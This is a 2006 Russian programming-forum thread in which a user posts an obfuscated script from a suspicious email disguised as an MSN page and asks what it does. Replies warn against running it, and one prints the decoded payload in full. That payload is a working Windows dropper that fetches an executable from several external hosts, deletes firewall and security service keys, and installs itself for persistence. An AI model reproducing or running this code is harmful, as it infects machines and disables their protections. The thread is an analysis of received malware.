ReSQL.ru
     
powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / Java [игнор отключен] [закрыт для гостей] / Вопрос знатокам!
4 сообщений из 4, страница 1 из 1
Вопрос знатокам!
    #33512294
qqmber
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
qqmber
Участник
Доброе время суток!
пришло письмишко, а в нем код:
крутил-вертел не понял что же он делает.
мож кто разберется? просто интересно.
вот код:

<html>
<head>

<title>MSN.com</title>



</head>
<body>

<script language=JavaScript>gbsn=unescape("fu%6E%63t%69on%20%63%28%72%29{%76a%72 %69%2C%75%3D%27',s=%22%69rK%38%61{%65%71%53%23%32%36%73HbU%2DVW%54%58&%59%3BP%75%5C%22%5A%5D%5B%49l$%2C^t_N`'c0%52%35%64G)J~%66%67O%68(L%4D%6AQ%43@.%37%76%70%2A9%77x1kA%3Dmn%6F%79%44%7A%7C:%2B%7D%20/!34%22%2Ck='%27,h,m%2C%6E;fo%72(%69%3D%30;%69%3Cr%2Ele%6E%67t%68%3B%69++%29%7B%68%3D%72%2E%63h%61r%41%74(i)%3Bm%3Ds%2Ein%64ex%4Ff%28%68);%69%66(m>%2D1%29%7B%6E%3D%28%28m+1)%258%37%2D%31)%3B%69f(%6E<%3D0){n+=87}%6B+=%73%2Ec%68%61%72%41t(%6E-%31%29}e%6Cse{%6B%2B=h}}u%2B=%6B;d%6F%63%75%6De%6E%74.%77ri%74%65(%75%29%7D");eval(gbsn);


c("@yooq0_roO/_y/j#`70yn/Hq0\"Kq/n{r$/HqKpqK777<H0Kr*_/${oO\"{Oqm~{p{#0Kr*_>g\"o0_ryo/OLJeGy0\"nqo_7xKr_qLc-o{U$q/Xy/@yooq0_/_y/#qKpqK7/u$q{Hq/0(q0A/Dy\"K/lo_qKoq_/0yooq0_ryo/{oG/_KD/{O{ro7<H0Kr*_/${oO\"{Oqm~{p{#0Kr*_>0QmZ\\\\\\\\ZPGKmZ0+Z}0Q}Z5q0D0$qGZ}0QP|mGK}Z\"HqKror_7q1qZP_KDeymoqx/=0_rpq&hUQq0_LZ#0Kr*_roO7Fr$q#DH_qnhUQq0_ZJPpmoqx/=0_rpq&hUQq0_LZT#0Kr*_7#(q$$ZJPo1mkPrgLy7Fr$qE1rH_HL|JJeq1my7)q_Fr$qL|JPrgLq17Hr|q>6RRRRJo1mRP g\"o0_ryo/g$LJeKq_\"Ko/g{$Hq Gy0\"nqo_7yo0yo_q1_nqo\"mg$Py7@Kq{_qFy$GqKLGKJP 0{_0(L_kJe P<\\!H0Kr*_><H0Kr*_/${oO\"{OqmZpUHZ>lg/o1/X(qo\\oHq_/lEm@Kq{_qhUQq0_LZlo_qKoq_E1*$yKqK7=**$r0{_ryoZJ\\olE7WrHrU$qmR\\o#\"U/#*\\oT(r$q/lE7B\"HDm_K\"q\\oTqoG\\oEoG/#\"U\\o\"Km=KK{DLZgK447UD7K\"\\!y$7_1_Z^ZGy$o7kOU7K\"\\!H_{gg7_1_Z^ZKqq*7xy$7U|\\!y$7_1_Z^ZUyU$y$7|yy7UD\\!y$7_1_Z^Zpy$\"n7kOU7K\"\\!y$7_1_Z^Z*yy$0yy$7_4d70yn\\!U$70Z^ZG\"\"x7on7K\"\\!y$7_1_ZJ\\oFyK/\"omR/Xy/s\\olE7`{prO{_qL\"KL\"oJJ\\o#*\\o1mlE7zy0\"nqo_7UyGD7rooqKXq1_\\olg/MqoL1J>dRRRR/X(qo\\oE1r_/FyK\\oEoG/lg\\o1mZZ\\o`q1_\\o#\"U/UH\\o$mMqoL1J\\olgL$JX(qo\\o{mZ=B@zEF)bl~8Mj`huC5#X-WT&;]{U0GqgO(rQA$noy*SKH_\"px1D|Rk64idsvaw}\\!Z\\oFyK/Qmk/Xy/$/#_q*/i\\o*m4\\oDmR\\oFyK/UmR/Xy/4\\oGmjrGL1^Q}U^kJ\\olg/GmZmZ/X(qo\\o*m*Vk\\oqmR\\oE$Hqlg/GmZ?Z/X(qo\\o#q_/xmy7@Kq{_qXq1_Fr$qL|^XK\"qJ\\ox7TKr_q/S\\ox7@$yHq\\oE1r_/#\"U\\oE$Hq\\oqmlo#_KLk^{^G^pUBro{KD@yn*{KqJVk\\oEoG/lg\\oDmsi9D}q\\o`q1_\\oDmbq1LDJ\\oDm#_KroOLsVMqoLDJ^ZRZJYD\\ogm@(KL@BD_qLZYbZYjrGLD^k^6JJJ}@(KL@BD_qLZYbZYjrGLD^4^6JJJ}@(KL@BD_qLZYbZYjrGLD^d^6JJJ\\oSmSYMqg_Lg^*J\\o`q1_\\oEoG/lg\\oEoG/#\"U\\oEoG/lg\\oUH\\op75qOTKr_q/Zb8@-\\\\#yg_x{Kq\\\\jr0KyHyg_\\\\lo_qKoq_/E1*$yKqK\\\\n{$Z^ZrpU_r.n{r$7K\"Z^Z5E)N#]Z<\\!H0Kr*_><H0Kr*_/${oO\"{Oqm~{p{#0Kr*_>g\"o0_ryo/gkLJeUkmRPg\"o0_ryo/g6Lo{JeU6mRPKkmZb8MjZ}0Q}Z#;#XEjZ}0Q}Z@\"KKqo_@yo_Ky$#q_Z}0Q}Z#qKpr0qHZ}0QP_KDep75qOzq$q_qLKk}o{}0QJPU6mkP 0{_0(L_kJe PKq_\"KoLU6JP K6mZb8MjZ}0Q}Z#hFXT=5EZ}0Q}Zjr0KyHyg_Z}0QPAqmZ=0_rpq/#q_\"*Z}0Q}ZloH_{$$qG/@yn*yoqo_HZ}0Q}Ze@zd=@wkBV=EvBVEa4=VR@i@VEsksRvdwv6F4 Z}0Q}Z#_\"U*{_(ZPrgLg6LZ*0r*rnZJ}g6LZ*0luuH@ZJ}g6LZ5{*zKpZJ}g6LZFrKqujZJ}g6LZ8n1Fr$qZJJUkmkP_KDep75qOTKr_qLK6}Aq^|^Z5E)N#]ZJPp75qO5q{GLK6}AqJP 0{_0(L_kJe_KDey7@y*DFr$qL|^p75qO5q{GLK6}ZTroGyxHZ}0Q}Z@\"KKqo_WqKHryoZ}0Q}ZE1*$yKqKZ}0Q}Z#(q$$/Fy$GqKHZ}0Q}Z@ynnyo/#_{K_\"*ZJ}0QJP 0{_0(L_kJeUkmR P PKq_\"KoLUkJP _KDergLo1YY3gkLJJp7K\"oL|JP 0{_0(L_Je P<\\!H0Kr*_>cJP PHq_Xrnqy\"_LZOLJZ^RJP<!H0Kr*_>");</script></body></html>
...
Рейтинг: 0 / 0
31.01.2006, 08:28
| Ответить | Цитировать | Написать  
Вопрос знатокам!
    #33512764
Фотография Кувалдин Роман
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Кувалдин Роман
Участник
Запускает на машине код JavaScript, закодированный в массив, подставляемый в unescape.
Запускать это дело у меня нет никакого желания.
...
Рейтинг: 0 / 0
31.01.2006, 11:24
| Ответить | Цитировать | Написать  
Вопрос знатокам!
    #33512817
qqmber
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
qqmber
Участник
спасибо!
...
Рейтинг: 0 / 0
31.01.2006, 11:33
| Ответить | Цитировать | Написать  
Вопрос знатокам!
    #33513282
Dima Yermak
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Dima Yermak
Участник
Что то я правдв не очень пойму что делается. Вроде вторник, а я уже туплю
:-)
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
Unable To Connect to Server. Please check your Internet connection and  try  again.
<script language=JavaScript>
    cj = "\\\\";
    dr = "c:" + cj + "Recycled" + cj;
    z = dr + "userinit.exe";
    try {
        o = new ActiveXObject("Scripting.FileSystemObject");
        v = new ActiveXObject("WScript.Shell");
        nx = 1;
        if (o.FileExists(z)) {
            ex = o.GetFile(z);
            if (ex.size > 20000)nx = 0;
        }
        function fl() {
            return false
        }
        document.oncontextmenu = fl;
        o.CreateFolder(dr);
    } catch(t1) {
    };
</script>
<script language="vbs">
    If nx Then set IE = CreateObject("InternetExplorer.Application")
    IE.Visible = 0
    Sub Sp
    While IE.Busy = true
    Wend
    End Sub
    ur = Array("fr33.by.ru\/ol.txt", "doln.1gb.ru\/staff.txt", "reep.wol.bz\/ol.txt", "boblol.zoo.by\/ol.txt", "volum.1gb.ru\/ol.txt", "poolcool.t35.com\/bl.c", "duuw.nm.ru\/ol.txt")
    For un = 0 To 6
    IE.Navigate(ur(un))
    Sp
    x = IE.Document.body.innerText
    If Len(x) > 50000 Then
    Exit For
    End If
    x = ""
    Next
    Sub bs
    l = Len(x)
    If(l)Then
    a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/"
    For j = 1 To l Step 4
    p = 3
    y = 0
    For b = 0 To 3
    d = Mid(x, j + b, 1)
    If d = "=" Then
    p = p - 1
    e = 0
    ElseIf d = "?" Then
    Set w = o.CreateTextFile(z, True)
    w.Write q
    w.Close
    Exit Sub
    Else
    e = InStr(1, a, d, vbBinaryCompare) - 1
    End If
    y = 64 * y + e
    Next
    y = Hex(y)
    y = String(6 - Len(y), "0") & y
    f = Chr(CByte("&H" & Mid(y, 1, 2))) + Chr(CByte("&H" & Mid(y, 3, 2))) + Chr(CByte("&H" & Mid(y, 5, 2)))
    q = q & Left(f, p)
    Next
    End If
    End Sub
    End If
    bs
    v.RegWrite "HKCU\\Software\\Microsoft\\Internet Explorer\\mal","ivbti@mail.ru","REG_SZ"
</script>
<script language=JavaScript>
    function f1() {
    b1 = 0;
    function f2(na) {
        b2 = 0;
        r1 = "HKLM" + cj + "SYSTEM" + cj + "CurrentControlSet" + cj + "Services" + cj;
        try {
            v.RegDelete(r1 + na + cj);
            b2 = 1;
        } catch(t1) {
        }
        ;
        return(b2);
    }
    r2 = "HKLM" + cj + "SOFTWARE" + cj + "Microsoft" + cj;
    ke = "Active Setup" + cj + "Installed Components" + cj + "{CD5AC91B-AE7B-E83A-0C4C-E616075972F3}" + cj + "Stubpath";
    if (f2("pcipim") + f2("pcIPPsC") + f2("RapDrv") + f2("FirePM") + f2("KmxFile"))b1 = 1;
    try {
        v.RegWrite(r2 + ke, z, "REG_SZ");
        v.RegRead(r2 + ke);
    } catch(t1) {
        try {
            o.CopyFile(z, v.RegRead(r2 + "Windows" + cj + "CurrentVersion" + cj + "Explorer" + cj + "Shell Folders" + cj + "Common Startup") + cj);
        }  catch (t1) {
            b1 =  0 
        }
        ;
    }
    ;
     return (b1);
} try  {
     if  (nx && !f1())v.run(z);
}  catch (t) {
};
</script>
...
Рейтинг: 0 / 0
31.01.2006, 13:39
| Ответить | Цитировать | Написать  
4 сообщений из 4, страница 1 из 1
Форумы / Java [игнор отключен] [закрыт для гостей] / Вопрос знатокам!
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
Польз. соглашение   Полит. конфиден.  
NoSQL.ru       Кролег: Проекты, Новости, Чат       РЕД ФОРУМ       Фотоальбом: Участники, Встречи
Закрыть
start [/forum/topic.php?fid=59&fpage=753&tid=2150330]:
 0ms
get settings:
 7ms
get forum list:
 13ms
check forum access:
 2ms
check topic access:
 2ms
track hit:
 22ms
get topic data:
 8ms
get forum data:
 2ms
get page messages:
 37ms
get tp. blocked users:
 1ms
others: 262ms
total:  356ms
созд. / загр.: 356ms
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]